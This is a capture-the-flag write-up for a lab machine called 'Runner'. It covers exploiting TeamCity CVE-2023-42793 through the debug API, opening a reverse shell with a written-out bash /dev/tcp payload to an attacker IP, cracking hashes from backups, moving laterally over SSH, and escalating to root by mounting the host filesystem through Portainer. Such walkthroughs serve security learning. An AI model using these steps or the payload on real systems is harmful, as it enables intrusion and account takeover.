Week 1. Runner
TL;DR
This is an Ubuntu 22.04 machine hosting a vulnerable version of TeamCity (CVE-2023-42793) which can be exploited to get a foothold into the system. Then, we locate private keys and usernames stored in the file system and move laterally to users with privileges to read the user flag. Regarding privilege escalation, a Portainer application running as root is abused.
KEYWORDS
TeamCity, CVE-2023-42793, port forwarding, Portainer.
REFERENCES
https://www.jetbrains.com/teamcity/
https://www.cvedetails.com/cve/CVE-2023-42793/
https://www.prio-n.com/blog/cve-2023-42793-attacking-defending-JetBrains-TeamCity
https://github.com/hotplugin0x01/CVE-2023-42793
ENUMERATION
Port scan.
> nmap $target -p- --min-rate=5000 -Pn --open --reason
Starting Nmap 7.93 ( https://nmap.org ) at 2024-04-20 15:31 EDT
Nmap scan report for 10.10.11.13
Host is up, received user-set (0.078s latency).
Not shown: 64465 closed tcp ports (conn-refused), 1067 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack
80/tcp open http syn-ack
8000/tcp open http-alt syn-ack
Nmap done: 1 IP address (1 host up) scanned in 14.57 secondsEnumerate the open ports.
Fuzz for subdomains.
Add to hosts file and enumerate with Firefox.
A Teamcity v.2023.05.03 portal comes into view. This is a package delivery tool for developers (https://www.jetbrains.com/teamcity/).
USER
Looking for Teamcity vulnerabilities, I came across this one: https://www.cvedetails.com/cve/CVE-2023-42793/
Also, I found this interesting site: https://www.prio-n.com/blog/cve-2023-42793-attacking-defending-JetBrains-TeamCity
There are several POCs in GitHub but couldn't make any of them work, so I decided to exploit the application manually. This was also used as a reference: https://github.com/hotplugin0x01/CVE-2023-42793
First, delete any previous authentication token querying this endpoint /app/rest/users/<userLocator>/tokens/RPC2
And create a token for yourself.
Next step is to configure the debug API to enable admins to trigger configuration reloads, thus enabling arbitrary RCE. For this, use the previously obtained token.
Now you can issue commands. Insert the binary name in the exePath parameter, and the rest of arguments in as many params fields as you need. The following is an example issuing a reverse shell payload (/bin/bash –c bash -i >& /dev/tcp/10.10.xxx.xxx/1919 0>&1).
A reverse shell for user tcuser is received on port 1919.
At a first glance, this looks like a container, let's have a look at the env variables to verify this.
Looking for private keys in the file system, we find this one.
Nice to know but useless for the moment since we don't have an username, need to look further. Found several database backups here /data/teamcity_server/datadir/backup
And inside TeamCity_Backup_20240421_145357.zip, in the database_dump folder, we find a dump for the users table that contains hashes for users john@runner.htb and matthew@runner.htb
John's seems uncrackable, though the other one (Matthew's) is (Blowfish module).
Take note of this password, we will use it afterwards. Now that we have 2 usernames we can test the private key we found before. It works with username john and we are able to get an SSH shell in the host.
Which can be used to retrieve the user flag.
ROOT
Start from the SSH shell for user john and take the opportunity to enumerate the current user and the system.
There is something listening on port 9000.
Forward the port to Kali and enumerate with Firefox.
A Portainer portal comes into view, here we can enter the Matthew's credential that we cracked before.
Next step is to generate a volume with the following parameters.
device
/
o
bind
type
none
Then create a container using this image:
Using the previous volume.
Don't forget to select the option Interactive & TTY (-i -t)
Once the container is started, execute command /bin/bash as user root in the console.
A shell pops up.
You are root.
Last updated